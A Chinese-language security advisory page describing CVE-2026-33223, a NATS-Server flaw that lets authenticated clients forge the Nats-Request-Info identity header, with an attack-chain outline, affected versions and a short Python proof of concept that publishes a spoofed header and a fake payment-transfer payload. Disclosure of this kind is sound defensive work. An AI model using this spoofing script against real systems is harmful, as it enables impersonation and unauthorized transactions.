IPBUF安全漏洞报告
English
CVE-2026-33223 CVSS 6.4 中危

CVE-2026-33223 NATS-Server身份欺骗漏洞

披露日期: 2026-03-25

漏洞信息

漏洞编号
CVE-2026-33223
漏洞类型
身份欺骗
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
NATS-Server

相关标签

身份欺骗NATSHeader InjectionCWE-290

漏洞概述

NATS-Server在2.11.15和2.12.6之前的版本中存在安全漏洞。服务器未能有效剥离入站消息中的`Nats-Request-Info`标头。攻击者若拥有有效凭据,可利用此漏洞伪造身份,欺骗依赖该标头验证身份的服务。该漏洞可能导致服务端接收到伪造的身份信息,从而破坏系统的信任机制。

技术细节

该漏洞源于NATS-Server在处理消息头时的逻辑缺陷。`Nats-Request-Info`标头本应由NATS服务器添加并保证其不可伪造性,用于向接收方确认发送者身份。然而,在受影响版本中,服务器在处理入站消息时,未能完全移除或覆盖客户端手动注入的`Nats-Request-Info`标头。因此,一个拥有普通客户端连接权限的攻击者,可以在发送的消息中手动构造该标头。当依赖此标头的下游服务(如微服务应用)接收消息时,会错误地将攻击者注入的标头内容视为服务器验证过的身份信息,从而导致身份欺骗攻击。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取NATS-Server的合法客户端连接凭证(用户名/密码或Token)。
STEP 2
2. 构造恶意消息
攻击者创建包含恶意`Nats-Request-Info`标头的消息,伪造其身份信息。
STEP 3
3. 发送恶意数据
攻击者将带有伪造标头的消息发送给依赖该标头进行身份验证的目标服务。
STEP 4
4. 完成欺骗
目标服务未能识别标头为伪造,将其视为可信来源,导致未授权操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import asyncio import nats async def exploit(): # Connect to the vulnerable NATS server nc = await nats.connect("nats://localhost:4222") # Malicious headers to spoof identity # The server fails to strip this header effectively headers = { "Nats-Request-Info": "malicious_user_account", "Content-Type": "application/json" } # Target a service relying on Nats-Request-Info for auth subject = "svc.internal.payment" payload = b"{\"action\": \"transfer\", \"amount\": 10000}" # Publish message with spoofed header await nc.publish(subject, payload, headers=headers) print("[+] Exploit payload sent with spoofed Nats-Request-Info header") await nc.close() if __name__ == '__main__': asyncio.run(exploit())

影响范围

NATS-Server < 2.11.15
NATS-Server < 2.12.6

防御指南

临时缓解措施
目前暂无已知的临时缓解措施(Workarounds),建议尽快升级到修复版本以彻底解决该问题。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表